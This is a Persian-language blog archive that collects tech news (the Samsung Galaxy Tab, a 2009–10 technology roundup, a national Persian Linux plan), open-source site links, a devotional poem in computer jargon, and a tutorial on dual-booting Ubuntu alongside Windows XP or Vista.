اولين دشمن آيپد وارد بازار شد

اولين دشمن آيپد وارد بازار شد
شرکت سامسونگ الکترونيکز با چهار اپراتور مخابراتي به ‌توافق رسيد تا تبلت آندرويدي خود را در فصل تعطيلات به ‌فروش برساند. به‌گزارش رويترز، سامسونگ پنجشنبه گذشته جزييات تبلت 7 اينچي خود با عنوان گالاکسي را اعلام کرد. همچنين اين شرکت گفت با اپراتورهاي ورايزن، اسپرينت، تي‌موبايل و AT&T به توافق رسيده است که اين آخري، عرضه کننده آيپد است.

اين شرکت همچنين با شبکه‌هاي MTV، NBC و پارامونت به توافق رسيده تا برنامه‌هاي تلويزيوني و فيلم‌هاي قديمي و جديد را از طريق اين دستگاه دريافت کنند. برخلاف آيپد، گالاکسي (که بسياري از قابليت‌هاي آن با گوشي تلفن‌ همراهش به‌ نام گالاکسي‌اس يکي است) در هر دو طرف (جلو و عقب) دوربين دارد تا بتواند از کنفرانس‌هاي ويدئويي پشتيباني کند.

گفتني است تبلت سامسونگ سيستم‌عامل آندرويد دارد که يکي از مهمترين رقيبان سيستم‌عامل iOS اپل است. همچنين دسترسي به 80هزار نرم‌افزار بازار آندرويد از طريق اين دستگاه ممکن شده است.

اوپن سورس منبع‌باز open source

لينكدوني
منبع‌باز

ساخت و توسعه نرم‌افزارهاي منبع‌باز روزبه‌روز در حال گسترش است و دسترسي به منابع نرم‌افزارهاي منبع‌باز نيز يکي از بهترين روش‌ها براي برنامه‌نويسان تازه‌کار و حتي برنامه‌نويسان حرفه‌اي است.


اگر شما نيز دوست داريد برنامه نوشته شده خود را توسعه دهيد يا به توسعه نرم‌افزارهاي منبع‌باز کمک کنيد يا حتي به‌دنبال يک کد يا روشي براي افزودن يک قابليت خاص به برنامه خود هستيد پيشنهاد مي‌کنيم سري به سايت‌هاي زير بزنيد.


SourceForge


http://www.sourceforge.net

Freshmeat

http://freshmeat.net

Open Source Living

http://osliving.com


Codeplex


http://www.codeplex.com

Google Code

http://code.google.com/opensource


Tigris.org

http://www.tigris.org


Ohloh

http://www.ohloh.net


Free Software Directory

http://directory.fsf.org

کمک

سلام  ,به شما بازدید کننده محترم

من میخواهم نظر شما را در مورد قالب وبلاگ بدونم 

اگر از چیزی خوشتون نمی یاد تو قسمت نظرات بگید تا عوض کنم

یا اگر هم خوشتون میاد بگید تا عوض نکنم

با تشکر از همه شما عزیزان 

دوستار شما : محمد جواد شکری

بهترين تکنولوژي‌هاي سال 88



در سال گذشته شاهد بوديم که اختراعات و ابداعات گوناگوني در زمينه کامپيوتر، ارتباطات و IT بوجود آمد بعضي از آنها با استقبال گسترده‌اي روبرو شد که به قرار زير است.
















بهترين تکنولوژي‌ها سال 88
نوشين هژبرنژاد- دنياي کامپيوتر و ارتباطات
در سال گذشته شاهد بوديم که اختراعات و ابداعات گوناگوني در زمينه کامپيوتر، ارتباطات و IT بوجود آمد بعضي از آنها با استقبال گسترده‌اي روبرو شد که بدين قرار است.

سيستم‌عامل Snow Leopard Mac OS
شرکت اپل سيستم عامل جديد خود را با نام Snow Leopard يا پلنگ برفي در سال گذشته ارائه کرد که نسخه کامل شده سيستم عامل Leopard است. اين سيستم صرفا براي کامپيوترهاي روميزي طراحي شده و مبتني بر سيستم عامل يونيکس مي‌باشد. اين سيستم عامل از لحاظ طراحي داراي محيطي زيباست و کار با آن بسيار ساده است و همچنين داراي سرعت بالايي در هنگام نصب، بوت کردن و خاموش کردن است. سرعت بالاي اين سيستم عامل هنگام اتصال به شبکه که تا 45 درصد افزايش يافته از اهميت زيادي برخوردار است.

پلنگ برفي در هنگام نصب تنها به 6 گيگابايت فضاي خالي حافظه نياز دارد و از اين جهت در دسته سيستم‌هاي سبک قرار مي‌گيرد. آدرس‌دهي در آن 64 بيتي است و از جهت امنيت مطلوب است. در طراحي آن از هوش مصنوعي نيز استفاده شده که به کاربر اجازه مي‌دهد تا ساختار پاراگراف در متن PDF را حدس بزند يکي از ويژگي‌هاي اين سيستم استفاده از پهناي باند کم است که بکارگيري ichat را امکان‌پذير مي‌سازد. قيمت آن نيز 30 دلار تعيين شده که در مقايسه با ديگر سيستم‌هاي عامل قيمت مناسبي است.

Windows 7
Window 7 براي کامپيوترهاي PC طراحي شده و از جهات گوناگون حائز اهميت است. محيط کاري اين سيستم، لمسي و بسيار ساده است. با استفاده از XP Mode کاربر مي‌تواند بطور مجازي ويندوز XP را هم‌زمان با ويندوز 7 داشته باشد. امکاناتي مانند مديريت صفحات باز و منظم کردن و تغيير اندازه پنجره‌ها در اين سيستم تعبيه شده، Jumplist يا ليست پرش به منظور دسترسي به آخرين فايل‌ها و صفحات باز شده نرم‌افزارهاي مختلف است. هنگام ايجاد مشکل PRS (Problem Steps Recorder) يا ثبت قدم به قدم مشکلات طراحي شده تا رفع آنها آسان‌تر گردد. Windows Media Player در ويندوز 7 بسيار توسعه يافته و داراي سيستم Homegroup يا به اشتراک‌گذاري پيشرفته‌اي است. بعنوان نمونه فايل صوتي و يا تصويري که در يک کامپيوتر در حال اجراست قابل پخش شدن توسط اسپيکر کامپيوتر ديگري مي‌باشد که به شبکه متصل است.

iPad
iPad ساخت شرکت اپل که سال گذشته با هياهوي بسيار رونمايي شد کامپيوتري کوچک و قابل حمل است اندازه طول آن 25 سانتي‌متر و ضخامت آن 1.3 سانتي‌متر است و وزني معادل 680 گرم دارد بدون صفحه کليد است و صفحه نمايش آن از نوع LED و لمسي است که از وضوح بالايي برخوردار است. اين کامپيوتر با هر بار شارژ کردن به مدت 10 ساعت قابل استفاده است. ipad بسيار شبيه iphone است زيرا همان سيستم عامل و برنامه‌هاي کاربردي آيفون در آن تعبيه شده است . ipad اولين دستگاه ساخت شرکت اپل است که داراي سرويس iBookstore و برنامه‌هاي کاربردي ebook يا کتاب‌خوان مي‌باشد، اين موضوع باعث شده است تا با Kindle آمازون مقايسه شود. اين کامپيوتر کوچک در سه نوع 16 گيگابايتي با قيمت 499 دلار، 32 گيگابايتي 599 دلار و 64 گيگابايتي 899 دلار ارائه شد.

کاغذهاي الکترونيکي
ePaper کاغذهاي الکترونيکي تکنولوژي نويني است که در ساخت آنها از مواد ارگانيک استفاده شده است و شرکت‌هاي مهمي در صدد طراحي و ساخت آن هستند. به عنوان نمونه نمايشگر الکترونيکي PRS-505 وPRS-700 ساخت شرکت sony داراي صفحه نمايشگر لمسي است و از لحاظ ديد چشم بسيار مناسب است. سايت Amazon کتاب الکترونيکي بنام Kindle ارائه کرده است که داراي صفحه نمايشي کاغذي شکل در ابعاد 600 در 800 اينچ و داراي قدرت تفکيک‌پذيري بالايي است.

با اين تکنولوژي 2500 کتاب در وسيله‌اي بسيار سبک، انعطاف‌پذير و قابل حمل جاي مي‌گيرد، وسيله‌اي که قابليت تا شدن و لوله شدن را هم دارد. در اين وسيله، صفحه نمايشگر شفاف است و نور زمينه بصورت متمرکز به چشم مي‌رسد در نتيجه چشم را خسته نمي‌کند و تغيير زاويه ديد بيننده نسبت به صفحه نمايشگر، تفاوتي در ديد فرد نسبت به صفحه ايجاد نمي‌کند، حتي اگر اين صفحات در معرض تابش نور مستقيم خورشيد يا محيط قرار گيرند از لحاظ ديد مشکلي ايجاد نمي‌کنند در واقع تفاوت زيادي با صفحات کاغذي ندارد. مصرف انرژي در آنها بسيار پايين است و با باتري‌هاي مخصوصي شارژ مي‌شود. اطلاع‌رساني لحظه‌اي، دسترسي سريع به اطلاعات و داشتن تصوير، فيلم و صدا همراه با متن از ديگر محاسن آنهاست.

Google Buzz
Google Buzz يک شبکه اجتماعي و پيام‌رساني است که به خدمات گوگل اضافه شده است. کاربران مانند ديگر شبکه‌هاي اجتماعي مانند facebook , Twitter و ... مي‌توانند با يکديگر در ارتباط بوده و نظرات، عکس، فيلم و پيام‌هاي اجتماعي و گروهي را با هم مبادله و يا با يکديگر گفت‌وگو کنند. از ويژگي‌هاي بارز گوگل Buzz اين است که تمامي کساني که با شما ارتباط ايميلي دارند بطور خودکار به ليست شما اضافه مي‌شوند و همچنين فيلم و عکس در همان صفحه جاري قابل ديدن است امروزه سايت‌هاي اجتماعي محبوبيت خاصي يافته‌اند و ارتباط بين افراد در سراسر دنيا را بيشتر کرده‌اند.

نمايشگرهاي سه بعدي
به‌دليل هيجان زياد ايجاد شده ناشي از ديدن تصاوير سه بعدي فيلم‌ها و بازي‌هاي کامپيوتري ساخته شده با اين تکنيک‌ها مورد استقبال عده کثيري از افراد به ويژه جوانان قرار گرفته است. صفحات نمايشگرهاي سه بعدي مانند نمايشگرهاي عادي از پيکسل تشکيل شده است ولي با اين تفاوت که تمامي پيکسل‌هاي موجود در صفحه، يک نوع تصوير را نمايش نمي‌دهند به عبارتي در يک لحظه دو تصوير از نمايشگر پخش مي‌شود، نيمي از پيکسل‌ها يک تصوير و نيمي ديگر تصويري ديگر را پخش مي‌کنند زيرا يکي از آن تصاوير فقط براي ديدن با چشم چپ و تصوير ديگر فقط براي ديدن با چشم راست است.

شيشه اين نمايشگرها نور را پخش نمي‌کند بلکه به‌صورت متمرکز به نقطه هدف ارسال مي‌کند. هدف آن بطور متناوب بين چشم چپ و راست بيننده تغيير مي‌کند با استفاده از عينک‌هاي ويژه هم اختلاف زماني دو تصوير برطرف شده و تصويري واحد به مغز مخابره مي‌شود و همچنين تصاوير با وضوح و کيفيت بالاتري ديده خواهد شد که به محيط طبيعي بسيار نزديک است. شرکت سوني به تازگي نمايشگري ارائه داده است که بيننده مي‌تواند بدون عينک تصاوير آن را بصورت سه بعدي ببيند. اين شرکت اعلام کرده است که اين محصول در ابعاد بزرگ توليد مي‌شود و براي نمايش تبليغات مورد استفاده قرار مي‌گيرد.

سيستم عامل گوگل کروم
ويژگي‌هاي بارز اين سيستم عامل سرعت اتصال به اينترنت و چک کردن ايميل و همچنين کار در محيط‌هاي وب است زيرا اين سيستم عامل با تمامي نرم‌افزارهاي تحت وب سازگاري دارد. از طرفي داشتن محيط ساده براي کاربران و نيز امنيت بالا در آن از جنبه‌هاي قابل توجه در اين سيستم مي‌باشد. اين سيستم عامل با محيط ابر سازگاري دارد. تکنولوژي ابر، با استفاده از متمرکز نمودن پايگاه‌هاي اطلاعاتي و نرم‌افزارهاي کاربردي، در بالاترين سطح و در يک محل، امکان استفاده آسان از اين امکانات را از طريق اينترنت براي همه افراد فراهم مي‌کند. کاربر هنگام نياز به نرم‌افزارهاي گوناگون از طريق ابر و اتصال به اينترنت آنها را روي دستگاه خود بارگذاري کرده و استفاده مي‌کند و در پايان کار اطلاعات را در محيط ابر براي استفاده‌هاي بعدي يا براي افراد ديگر ذخيره مي‌نمايد اين امر باعث مي‌شود تا به حجم بالايي از حافظه نياز نباشد و همچنين امنيت اطلاعات حفظ شده و يافته‌هاي پژوهشي و تحقيقاتي بين افراد به اشتراک گذشته شود.

iPhone 3GS
به جرات مي‌توان گفت شرکت اپل با ساخت iphone تحولي در صنعت گوشي‌هاي تلفن همراه ايجاد کرده است داشتن امکانات گوناگون و محيط کار ساده و لمسي باعث شده تا اين گوشي از محبوبيت خاصي برخوردار باشد. iphone 3GS نيز داراي ويژگي‌هاي منحصر به فردي نسبت به نمونه پيشين مي‌باشد سرعت ارسال و دريافت داده‌ها در آن افزايش يافته است داراي دوربين عکس‌برداري و فيلم‌برداري با رزلوشن بالاتر است سيستم GPS نيز در آن بهينه شده است. قابليت‌هاي کنترل صدا و نمايش فيلم و سازگاري با بازي‌هاي گوناگون در آن بهبود يافته است. اين گوشي داراي صفحه لمسي 3.5 اينچي با وضوح تصوير بسيار بالاست و ضدخش مي‌باشد و قابليت شارژ تا 300 ساعت و مکالمه تا 12 ساعت را دارد. اين گوشي به شبکه بي‌سيم Wi-Fi متصل است، اتصال و استفاده از اينترنت با آن براحتي امکان‌پذير است.

سيستم عامل آندروئيد
اين سيستم عامل ابتدا توسط شرکت Android Inc براي کامپيوترهاي کوچک و بصورت منبع باز با هسته لينوکس طراحي شد. سپس توسط شرکت گوگل خريداري و براي گوشي‌هاي تلفن همراه مورد استفاده قرار گرفت. اين سيستم از فناوري صفحات لمسي پشتيباني مي‌کند داراي ابزار جست‌وجو سريع است. ويژگي بارز اين سيستم عامل منبع باز آن است که کاربران مي‌توانند با انواع تکنيک‌هاي گوناگون اقدام به برنامه‌نويسي به زبان جاوا نمايند و برنامه‌هاي کاربردي متنوعي بر اساس سليقه خود و يا به منظور بهبود عملکرد اين گوشي طراحي و توليد کنند که نه تنها مورد استفاده کاربران زيادي خواهد بود بلکه از لحاظ درآمد مالي نيز قابل توجه است. شرکت گوگل از طراحان و توسعه دهندگان اين سيسم عامل پشتيباني مي‌کند.

گوشي تلفن Nexus One
گوگل در اقدامي رقابتي با اپل گوشي تلفن همراه Nexus One را رونمايي کرد. اين گوشي داراي سيستم عامل آندروئيد است و در اتصال به اينترنت و مرور صفحات وب داراي سرعت مطلوبي است و قابليت تشخيص و تبديل صدا به متن را داراست که براي نوشتن ايميل بسيار مطلوب است. اين گوشي تلفن توسط شرکت تايواني HTC ساخته شده و داراي صفحه نمايشگر لمسي بزرگ و دوربين است. اين گوشي داراي کيفيت مطلوب براي پخش موسيقي يا نمايش فيلم است و داراي آرشيو بزرگي از برنامه‌هاي کاربردي مفصلي است که مورد نياز کاربر مي‌باشد. اين گوشي مجهز به راهنما يا هدايت‌گر در هنگام رانندگي بوده و کيفيت صدا در آن بسيار مطلوب است. اکثر خدمات آن بصورت رايگان در اختيار کاربران قرار گرفته است. قيمت اين گوشي 529 دلار است.

گوگل کروم
گوگل کروم مرورگر وب است که توسط شرکت گوگل ارائه شد. گوگل کروم از موتور WebKit استفاده مي‌کند و مرورگري با منبع باز است. محيط کاري آن زيبا و آسان است و در مرور صفحات وب از سرعت بالايي برخوردار بوده و به حافظه کمي نياز دارد. براي نصب آن نياز به يک Virtual Machine مانند Virtual Box يا VMWare است. اين شرکت اعلام کرده است که اين مرورگر با پخش کننده‌هاي صوتي سازگار است و همچنين نسخه‌اي منطبق با سيستم عامل لينوکس را به‌زودي ارائه خواهد کرد.

اينترنت
با وجود اينکه چند سالي است که اينترنت بين آحاد مردم جايگاه ويژه اي دارد ولي نمي‌توان تاثيري که در سال گذشته بر زندگي مردم دنيا داشت، را ناديده گرفت. به وجود آمدن سايت‌هاي اجتماعي گوناگون و ارتباط هر چه بيشتر مردم دنيا با يکديگر از تحولات چشمگيري است که تنها با وجود اينترنت امکان‌پذير شد. اينکه هر خبر يا واقعه‌اي اعم از خوشايند يا ناخوشايند در کمترين زمان ممکن بصورت متن، تصوير و يا فيلم در اختيار همه مردم دنيا قرار گرفت نويد تحولي اساسي در علم ارتباطات را مي‌دهد. بعنوان نمونه تنها سايت اجتماعي facebook بالغ بر 400 ميليون عضو دارد که روز به روز بر آن افزوده مي‌شود. امروزه حتي بعضي کاربران مي‌توانند با استفاده از تلويزيون خانگي از امکانات اينترنت استفاده کنند. در سال گذشته اولين فيلم اينترنتي با کمک تعداد زيادي از علاقه‌مندان از سراسر دنيا ساخته شد از نمونه‌هاي شايان توجه ارسال تعداد زياد مقالات براي کامل کردن دايره‌المعارف جهاني ويکي‌پديا است که نزديکي هر چه بيشتر مردم دنيا را به يکديگر نشان مي‌دهد و اين خود تحولي در زندگي مردم دنياست.

اسکايپ
شرکت اسکايپ طراح نرم‌افزار تلفن اينترنتي اسکايپ مي‌باشد اين نرم‌افزار بصورت بتا براي کاربران گوشي‌هاي تلفن همراه ارائه شده است. کاربران با نصب رايگان اين نرم‌افزار مي‌توانند با هدفون يا ميکروفن از طريق اينترنت با يکديگر صحبت کنند و يا اگر از طريق گوشي تلفن خود با تلفن ثابت يا همراه فردي تماس بگيرند قيمت اين مکالمه بسيار ارزان خواهد بود. اين نرم‌افزار با رمزنگاري مکالمات کاربر احتمال استراق سمع را غيرممکن مي‌کند.

اسکايپ از روش رمزنگاري با کدهاي طولاني استفاده مي‌کند، بطوري که رمزهاي 256 بيتي به اينترنت منتقل مي‌کند که بسيار ايمن خواهد بود. اين شرکت اعلام کرده است که در هر لحظه بين 3 تا 4 ميليون کاربر اينترنت از خدمات اسکايپ براي تماس با يکديگر استفاده مي‌کنند. در حال حاضر کاربران زيادي از خدمات VoIP شرکت گوگل استفاده مي‌کنند و از کيفيت مطلوب آن راضي هستند. به نظر مي‌رسد شرکت گوگل و اسکايپ در اين زمينه در رقابتي جدي با يکديگر باشند.
itna

خدا را دوست دارم ، به خاطر اینکه........

 

خدا را دوست دارم ، به خاطر اینکه با هر username  که باشم، من را connect می کند
خدا را دوست دارم ، به خاطر اینکه تا خودم نخواهم مرا D.C نمی کند
خدا را دوست دارم ، به خاطر اینکه با یک  delete هر چی را بخواهم پاک می کند
خدا را دوست دارم ، به خاطر اینکه اینهمه friend  برای من add می کند
خدا را دوست دارم ، به خاطر اینکه اینهمه wallpaper که update می کند
خدا را دوست دارم ، به خاطر اینکه با اینکه خیلی بدم من را log off نمی کند
خدا را دوست دارم ، به خاطر اینکه همه چیز من را می داند ولی SEND TO ALL نمی کند
خدا را دوست دارم ، به خاطر اینکه می گذارد هر جایی که می خواهم Invisibel بروم
خدا را دوست دارم ، به خاطر اینکه همیشه جزء friend هام می ماند و من را delete  و ignore نمی کند.
خدا را دوست دارم ، به خاطر اینکه همیشه اجازه، undo  کردن را به من می دهد
خدا را دوست دارم ، به خاطر اینکه آن من را install کرده است
خدا را دوست دارم ، به خاطر اینکه هیچ وقت به من پیغام the line busy نمی دهد
خدا را دوست دارم ، به خاطر اینکه اراده کنم، ON  می شود و من می توانم باهاش حرف بزنم
خدا را دوست دارم ، به خاطر اینکه دلش را می شکنم، اما او باز من را می بخشد و  shout down ام نمی کند
خدا را دوست دارم ، به خاطر اینکه  password اش را هیچ وقت یادم نمی رود، کافیه فقط به دلم سر بزنم
خدا را دوست دارم ، به خاطر اینکه تلفنش همیشه آنتن می دهد
خدا را دوست دارم ، به خاطر اینکه شماره اش همیشه در شبکه موجود است
خدا را دوست دارم ، به خاطر اینکه هیچ وقت پیغام no response to نمی دهد
خدا را دوست دارم ، به خاطر اینکه هرگز گوشی اش را خاموش نمی کند
خدا را دوست دارم ، به خاطر اینکه هیچ وقت ویروسی نمی شود و همیشه سالم است
خدا را دوست دارم ، به خاطر اینکه هیچوقت نیازی نیست براش BUZZ بدهم
خدا را دوست دارم ، به خاطر اینکه آهنگ حرف هاش همیشه من را آرام می کند
خدا را دوست دارم ، به خاطر اینکه نامه هاش چند کلمه ای بیشتر نیست، تازه spam  هم تو کارش نیست
خدا را دوست دارم ، بخاطر اینکه وسط حرف زدن نمی گوید، وقت ندارم، باید بروم یا دارم با کس دیگری حرف می زنم
خدا را دوست دارم ، به خاطر اینکه من را برای خودم می خواهد، نه خودش
خدا را دوست دارم ، به خاطر اینکه همیشه وقت دارد حرف هایم را بشنود
خدا را دوست دارم ، به خاطر اینکه فقط وقت بی کاریش یاد من نمی افتد
خدا را دوست دارم ، به خاطر اینکه می توانم از یکی دیگر پیشش گله کنم، بگویم که ....
خدا را دوست دارم ، به خاطر اینکه همیشه پیشم می ماند و من را تنها نمی گذارد، دوست داشتنش ابدی است
خدا را دوست دارم ، به خاطر اینکه می توانم احساسم را راحت به آن بگویم، نه اصلا نیازی نیست بگویم، خودش میتواند نگفته، حرف ام را بخواند
خدا را دوست دارم ، به خاطر اینکه به من می گوید دوستم دارد و دوست داشتنش اش را مخفی نمی کند
خدا را دوست دارم ، به خاطر اینکه تنها کسی است که می توانی جلوش بدون اینکه خجل بشوی گریه کنی، و بگویی دلت براش تنگ شده
خدا را دوست دارم ، به خاطر اینکه ، می گذارد دوستش داشته باشم ، وقتی می دانم لیاقت آنرا ندارم
خدا را دوست دارم به خاطر اینکه از من می پذیرد که بگویم :  خدا را دوست دارم ... 

 

آماده‌سازی سند ملی لينوکس فارسي؛ سيستم عامل ملي بايد جايگزين ويندوز شود

آماده‌سازی سند ملی لينوکس فارسي؛ سيستم عامل ملي بايد جايگزين ويندوز شود

رئیس مرکز فناوری اطلاعات و ارتباطات پیشرفته دانشگاه صنعتی شریف از آماده‌سازی سند ملی استفاده از سیستم‌عامل لینوکس فارسی خبر داد و گفت: مراحل نهایی تصویب این سند در هیئت دولت در حال طی شدن است تا استفاده از سیستم‌عامل ملی یک قانون راهبردی شود.




حمیدرضا ربیعی در گفت‌وگو با مهر با اشاره به بومی‌سازی سیستم عامل پایه و نرم‌افزارهای متن باز (اپن سورس) در کشور گفت: بومی‌سازی سیستم‌عامل لینوکس فارسی سال‌ها است که انجام شده اما نهادینه کردن و جایگزین کردن آن با سیستم‌عامل‌هایی چون ویندوز نیازمند تصویب سند ملی از سوی دولت است.

وی ادامه داد: هم اکنون تصویب سند ملی توسعه‌ای نرم‌افزارهای آزاد / متن‌باز مراحل نهایی خود را طی می‌کند که با تصویب آن استفاده از سیستم‌عامل ملی به عنوان یک قانون راهبردی نهادینه می‌شود.

مشاور طرح سیستم عامل ملی با اشاره به حمایت‌های مرکز تحقیقات مخابرات ایران و همکاری بخش خصوصی و نخبگان دانشگاه صنعتی شریف از این طرح گفت: نسخه‌های مختلف لینوکس فارسی از نظر فنی آماده توزیع است و در برخی شرکت‌های بزرگ نیز جایگزین سیستم عامل ویندوز شده است اما با تصویب این سند وظایف تمامی دستگاه‌ها و نهادها در کشور برای استفاده از آن به صورت اجرایی مشخص می‌شود.

ربیعی با اشاره به تشکیل ستاد نرم‌افزارهای آزاد/ متن باز در دفتر همکاری‌های فناوری اطلاعات ریاست جمهوری خاطرنشان کرد: سیاست‌های در نظر گرفته شده در طرح سیستم عامل ملی شامل سیاست‌های مهاجرتی، توسعه ای و اجباری است و دارای سندهای پشتیبانی در این زمینه نیز است.

به گزارش مهر، فراهم کردن بستر تولید یک سیستم عامل ایرانی با پشتیبانی داخلی به همراه نرم‌افزارهای آزاد / متن باز کاربردی، رفع مشکلات پایه ‌ای و اساسی مرتبط با زبان فارسی در بخش‌های مختلف سیستم عامل و سایر نرم‌‌افزارهای آزاد / متن باز پر کاربرد و افزایش سطح آگاهی افراد و ترویج استفاده از نرم‌‌افزارهای آزاد متن باز از جمله اهداف طرح یاد شده است.

حدود پنج سال پیش وزارت ارتباطات و فناوری اطلاعات طبق مصوبه هیئت وزیران مکلف شد برای توسعه منابع و سهولت دسترسی به نرم‌افزار و سخت‌افزار ویژه تجارت الکترونیکی برای ذینفعان عمومی و متخصصان، آموزش افراد و افزایش سرمایه‌گذاری در بخش فناوری اطلاعات اقداماتی از جمله پشتیبانی از کاربرد برنامه‌های متن باز در سازمان‌های دولتی و شرکت‌های بزرگ خصوصی را انجام دهد و در همین راستا پشتیبانی از حقوق مالکیت معنوی مورد نیاز، حمایت از ایجاد و توسعه صنعت مهندسی نرم‌‌افزار مبتنی بر راه‌‌حل‌های متن باز را اجرایی کند.

ويندوز و لينوکس در کنار هم     

ويندوز و لينوکس در کنار هم

اشاره
با توجه به سروصداي که توزيع اوبونتو بتازگي به راه انداخته‌ است، قصد داريم نحوه‌ نصب اين سيستم‌عامل لينوکسي را کنار ويندوز ايکس پي يا ويستا بررسي کنيم. البته مقاله‌اي بنام «نصب و اجراي اوبونتو» را در شماره 35 مجله داشتيم، در آن مقاله نصب و اجراي ابونتو بطور کامل بررسي شد. ضمناً در همان مقاله اشاره‌اي هم به نحوه‌ نصب ويندوز کنار ابونتو داشتيم، اما براي بازکردن بيشتر اين مطلب و آشنايي کامل‌تر با اين روش، در اين مقاله مراحل اين کار را دقيق‌تر بررسي کنيم.
لازم به ذکر است باوجود کم خطر بودن اين مراحل تهيه‌ نسخه پشتيبان از اطلاعات و داده‌هاي موجود خالي از لطف نخواهد بود.

نصب اوبونتو کنار ايکس پي ( اگر لازم بود  شکل XP Ubonto )
در اين قسمت فرض مي کنيم که ويندوز ايکس‌پي روي سيستم شما نصب شده است و مي خواهيد اوبونتو را هم به سيستم اضافه کنيد. خوشبختانه براي نصب اوبونتو کنار ايکس پي احتياجي به آماده¬سازي خاصي نداريد. البته مشخصاً بايد به اندازه کافي فضاي آزاد در هاردديسک شما وجود داشته باشد ( بيش‌ از 10 گيگابايت ).
براي شروع کار سي¬دي اوبونتو را داخل درايو قراردهيد و سيستم را مجدداً راه‌اندازي کنيد.
ـ پس از بوت شدن سيستم، در صفحه اول گزينه Start or install Ubuntu را انتخاب نماييد.
ـ سپس آيکون Install را در محيط دسکتاپ نمايش داده ‌شده اجرا کنيد.
ـ در صفحه Welcome گزينه Forward را بزنيد.
ـ در پنجره Where are you? شهر تهران را انتخاب و دکمه Forward‌ را بزنيد.
ـ در صفحه Keyboard layout کي‌بورد را U.S. English‌ انتخاب کنيد.
ـ در پنجره بعد، براي نصب اوبونتو کنار ويندوز، گزينه اول يعني Guided - resized را برگزينيد. ضمناً در قسمت پايين اين گزينه توسط زبانه‌ کشويي موجود مي‌توانيد حافظه مورد نياز را براي سيستم‌عامل جديد‌تان را تعيين کنيد. البته لزومي ندارد نگران اشتباهات احتمالي در اين مرحله باشيد، فقط سعي کنيد از همان ابتدا ميزان فضاي مورد نياز اوبونتو و سيستم‌عامل قديمي‌تان را درنظر داشته باشيد تا در آينده نياز نباشد مکرراً اين مرحله را تکرار کنيد.


شکل 1

ـ پس از زدن دکمه Forward‌ در صفحه Prepare disk space ، پيغامي ظاهر مي‌شود که در آن پنجره دکمه Continue‌ را بزنيد.
پس از اين مرحله مدت زماني صرف مي شود تا پارتيشن هاي سيستم با توجه به نتظيمات جديد تغيير يابند. اگر اين مرحله را درست انجام دهيد هيچ فايل و اطلاعاتي از سيستم قبلي، از بين نخواهد رفت.
ـ در پنجره Migrate Documents and Setting اگر مي‌خواهيد تنظيماتي از ويندوز را در اينجا نيز داشته باشيد عبارت User Windows … را انتخاب و دکمه Forward را بزنيد.
ـ پس از تکميل فيلدهاي اطلاعاتي در صفحه Who are you? نصب ابونتو آغاز مي‌شود. بنابراين در صفحه Ready to install‌ گزينه Install‌ را بزنيد.
وقتي نصب اوبونتو کامل شد، سيستم مجدداً راه‌اندازي خواهد شد. از اين به بعد همواره هنگام روشن شدن سيستم ، منوي بوت GRUB را مشاهده مي کنيد(شکل 2).


شکل 2

اين منو شامل گزينه‌هاي مختلف براي اجراي اوبونتو است بطور مثال اجرا در حالت معمولي، اجرا در حالت بازيابي و ... . ضمناً‌ در همين قسمت مي‌توانيد با انتخاب گزينه‌ي Other Operating Systems سيستم‌عامل قبلي‌ را اجرا کنيد. البته اگر کليدي را نزنيد، بطور پيش‌فرض و پس از 10 ثانيه بطور خودکار وارد ابونتو خواهيد شد.
دقت داشته باشيد هنگامي که ويندوز را براي اولين بار اجرا مي‌کنيد صفحه‌ بررسي کننده‌ ويندوز (Check disk) نمايان خواهد شد. اجازه دهيد برنامه کار خود را بطور کامل انجام دهد. دليل اجراي Check disk‌ تغيير در مشخصات پارتيشن ها است.
ضمناً در برخي از موارد ممکن است با پيغام تشخيص سخت¬افزار جديد هم روبرو شويد اين قسمت را با يک‌بار راه‌اندازي مجدد پشت سر بگذاريد. بقيه‌ موارد مانند قبل است و با خيال راحت مي‌توانيد کارتان را با ويندوز ادامه دهيد.
ويندوز را در حالت پيش¬فرض قرار دهيد
همانطور که ملاحظه کرديد در صفحه‌ بوت، سيستم عامل پيش¬فرض ابونتو خواهد بود. اگر مايل بوديد ايکس‌پي‌ در حالت پيش‌فرض‌ قرار گيرد اين مراحل را انجام دهيد:
ابتدا وارد اوبونتو شويد و پنجره ترمينال را با طي کردن مسير زير اجرا کنيد:

Applications\ Accessories\Terminal


سپس همانند شکل 3 ، عبارت زير را تايپ کنيد:

sudo gedit /boot/grub/menu.lst


شکل 3

اکنون کلمه‌ عبور را وارد کنيد (کاراکترهاي تايپ شده نمايش داده نخواهند شد). سپس پنجره‌اي مانند شکل 4 باز خواهد شد.


شکل 4

اکنون عددي که در شکل 4 آن را مشخص کرده‌ايم (و احتمالاً براي شما صفر خواهد بود) را به عدد 4 تغيير دهيد. اين عدد با توجه به مکان ويندوز در منوي بوت انتخاب شده است. با اين‌کار ويندوزتان به عنوان انتخاب پيش‌فرض درنظر گرفته خواهد شد.

نصب اوبونتو کنار ويستا ( اگر لازم بود  شکل Vista Ubonto )
در اينجا فرض مي کنيم که سيستم‌عامل شما ويندوز ويستا است و مي خواهيد اوبونتو را به آن اضافه کنيد. البته خوشبختانه تفاوت چشمگيري ميان ويستا و ايکس‌پي وجود ندارد. فقط تنها کاري که در اين مرحله بايد انجام دهيد اين است که يک پارتيشن آزاد در سيستم‌ ايجاد کنيد. دقت داشته باشيد که حداقل 10 گيگابايت فضاي آزاد براي ابونتو نياز خواهيد داشت.

آماده سازي ويستا
خوشبختانه در ويستا امکانات خوبي درنظر گرفته شده است که توسط آن مي‌توان براحتي پارتيشن جديد ساخت، پاک کرد و ... به همين دليل ديگر نيازي به استفاده از برنامه‌هاي جانبي مانند Partition Magic نخواهيد داشت. اکنون وارد ويستا شويد و به پنجره Disk Management برويد. سريع ترين راه براي رسيدن به اين پنجره از اين طريق خواهد:
روي آيکون Computer کليک راست کرده و گزينه‌ Manage را برگزينيد. حال از قسمت Storage گزينه‌ Disk Management را انتخاب کنيد.
سپس روي پارتيشني که فضاي خالي براي اوبونتو دارد، کليک راست کرده و گزينه Shrink Volume را انتخاب کنيد (شکل 5). در پنجره‌ باز شده مي توانيد فضاي پارتيشن را کم کرده و به پارتيشن جديدي که مي‌خواهيد بسازيد اختصاص دهيد. براي اين‌ کار عدد مورد نظر ( که تعيين کننده فضاي دلخواه شماست ) را مقابل عبارت Enter the amount of space… وارد کنيد(شکل 6 ).پس از زدن دکمه¬ Shrink اين مقدار فضا از اين پارتيشن جدا مي‌شود و پارتيشن جديدي با اين اندازه ايجاد خواهد شد. توجه داشته باشيد که فرمت اين پارتيشن بايد براي ويندوز نامشخص يا  unallocatedباشد.


شکل 5


